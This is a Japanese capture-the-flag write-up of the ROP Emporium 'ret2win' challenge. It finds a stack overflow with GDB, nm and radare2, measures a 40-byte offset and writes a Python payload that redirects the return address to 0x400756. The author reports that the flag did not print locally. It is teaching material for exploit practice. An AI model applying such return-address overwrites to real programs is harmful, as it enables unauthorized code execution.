ROP Emporium: ret2win (pwn)
与えられるファイル
ret2win
flag.txt
まずはret2winを実行してみる。
code:txt
$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
と入力を求められる。
dmesgコマンドを使って、実行前にsudo dmesg -Cをしてクリアしておき、実行後にdmesgを実行すると、[ 5442.663700] traps: ret2win[48415] general protection fault ip:400755 sp:7ffd99c52998 error:0 in ret2win[400000+1000]というエラーメッセージが得られ、0x400755でエラーが起きていることがわかる。GDBでもrして同じメッセージ打ち込めば、 code:txt
Stopped reason: SIGSEGV
0x0000000000400755 in pwnme ()
と表示され同じことがわかる。
pwnme関数のret実行時にエラーが起きている。retはpopした値をIPにする命令だからSPが指すアドレスをフラグ出力部に飛ばせばよさそう。 nmコマンドを実行して t でフィルターすると(別にnmでなくてもいいけど公式のイントロで使われている)、 code:txt
$ nm ret2win | grep " t "
0000000000400660 t __do_global_dtors_aux
00000000004005f0 t deregister_tm_clones
0000000000400690 t frame_dummy
00000000004006e8 t pwnme
0000000000400620 t register_tm_clones
0000000000400756 t ret2win
radare2を使ってsym.ret2winのディスアセンブル結果を表示すると、 code:txt
┌ 27: sym.ret2win ();
│ 0x00400756 55 push rbp
│ 0x00400757 4889e5 mov rbp, rsp
│ 0x0040075a bf26094000 mov edi, str.Well_done__Heres_your_flag: ; 0x400926 ; "Well done! Here's your flag:" ; const char *s
│ 0x0040075f e8ecfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400764 bf43094000 mov edi, str._bin_cat_flag.txt ; 0x400943 ; "/bin/cat flag.txt" ; const char *string
│ 0x00400769 e8f2fdffff call sym.imp.system ; int system(const char *string)
│ 0x0040076e 90 nop
│ 0x0040076f 5d pop rbp
└ 0x00400770 c3 ret
で、ret2winがWell done! Here's your flag:や/bin/cat flag.txtからフラグを出力する関数だとわかる。
retでこのret2win関数(0x00400756)に飛ばせば良い。
PEDAでpattern create 64してAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHを入力すると、セグフォ時はRSP: 0x7fffffffdec8 ("AA0AAFAAbAA1AAGA\203P\336\367\377\177")となっていて、オフセットは40だとわかる。 Pythonでprint("A"*40 + "\x56\x07\x40\x00\x00\x00\x00\x00")を実行するスクリプトa.pyを書き、python a.py | ./ret2winとすると、Well done! Here's your flag:とまでは表示された……が、フラグが表示されない。
0x400755に到達したら0x400756にジャンプさせてみる。ブレークポイント挟んでj *0x400756でできる。
すると引数を/bin/cat flag.txtとするsystem@pltの実行でおかしくなっている。場所は0x400769。
理由はわからないが、自分の環境由来っぽい(Ubuntus 20.04 LTSだけど)のと、Pwnであればリモートエクスプロイトするのが普通でエクスプロイト自体は実行できるはずなので、とりあえず解けたということで次の問題に進む。